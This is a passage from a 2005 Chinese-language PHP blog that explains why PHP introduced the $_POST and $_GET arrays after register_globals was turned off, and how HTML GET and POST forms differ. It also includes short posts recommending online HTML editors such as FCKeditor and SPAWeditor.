$_POST與$_GET等變數陣列誕生: 如此多的問題困擾著開發php程式的開發人員,也讓php產生了很多安全上的隱憂, 所以php開發團隊當初建議使用者,使用像是 $HTTP_SERVER_VARS ,$HTTP_GET_VARS ,$HTTP_POST_VARS ,$HTTP_COOKIE_VARS 等陣列來取得該變數..

但是聰明的你跟懶惰的我,絕對發現了.這樣寫起來.每個變數名稱又臭又長,誰會想這樣寫程式阿

所以,在 php4.1 以後 變產生了 $_POST $_GET $_SERVER $_COOKIE $_SESSION 等 陣列,其功用就如同上面所列的.是將使用者經由表單送出的資料以陣列的方式進行一個存放,而非直接註冊在 $欄位名稱 這樣的變數裡面.

接著 PHP 開發團隊更進一步的預設了 php.ini 中 global register 的設定
值為關閉的狀態.

這樣.親愛的學員朋友們,你清楚為什麼要使用$_POST 與 $_GET 來取得使用者傳入的表單了嗎?
希望這一篇文章能幫助您將來撰寫php程式的時候更順利唷.

HTML補充教室: 使用者傳入的表單為什麼要放入 $_POST 跟 $_GET 兩個不同的陣列阿?

由於 html 表單傳遞資料的時候分為兩種方法
1 GET 將資料於 url 中一併送出. 會於網址列顯示像是 http://url/xxx.php?欄位名稱=欄位值
2 POST 將資料於http request 時,於表頭中直接送出,所以該資料並不會以 http://url/xxx.php?欄位名稱=欄位值 的方式出現在瀏覽器的網址列

而表單設定的方式則是如下.
代碼:
<form method="get">

代碼:
<form method="post">


而什麼時候會用到 get ? 什麼時候又要用 post 呢?...

通常使用 post 都是在只能送出一次的資料,像是留言版的留言.會員的登入資料,或是註冊表等.

而 get 的使用通常是在可以重複,且是用來判斷目前所在位置的情況,像製作換頁功能的時候,用來帶入該頁數,或是像 phpbb2 利用 get 取得目前使用的功能與目前觀看的版面編號等.

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

新增分類:PHP網站建構

Posted on 2005-05-14 07:20:30 by

今天起新增一個分類,打算寫一系列的PHP網站建構的文章...

希望是從基本的網站架構跟class等的寫作來指導有一點點基礎的人從無到有建立起一個網站.


相關需要搭配的程式庫應該會有:ADODB,Smarty,FCKeditor 等..如果還看到什麼好東西當然也加進去....

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

PHP .Net ??

Posted on 2005-04-26 23:11:38 by

剛剛在 Neo's Blog

看到了這篇... Microsoft PHP.Net ?

提到了有關 Phalanger ( http://www.php-compiler.net/ )....

看起來似乎非常的有趣呢~... 有機會要試試看~

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

SPAWeditor

Posted on 2005-04-19 05:42:51 by

另外一個 Online Html Editor 跟上一個同樣很好又方便整合在現有的 php 中...

SPAWeditor

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

FCKeditor

Posted on 2005-04-18 13:51:57 by

剛剛在 plog 的 forum 中看到的...
似乎是個不錯的工具.看起來也比之前一直用的 htmlarea 好多了...

找機會來更新之前寫的一些程式用的好了...

FCKeditor

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi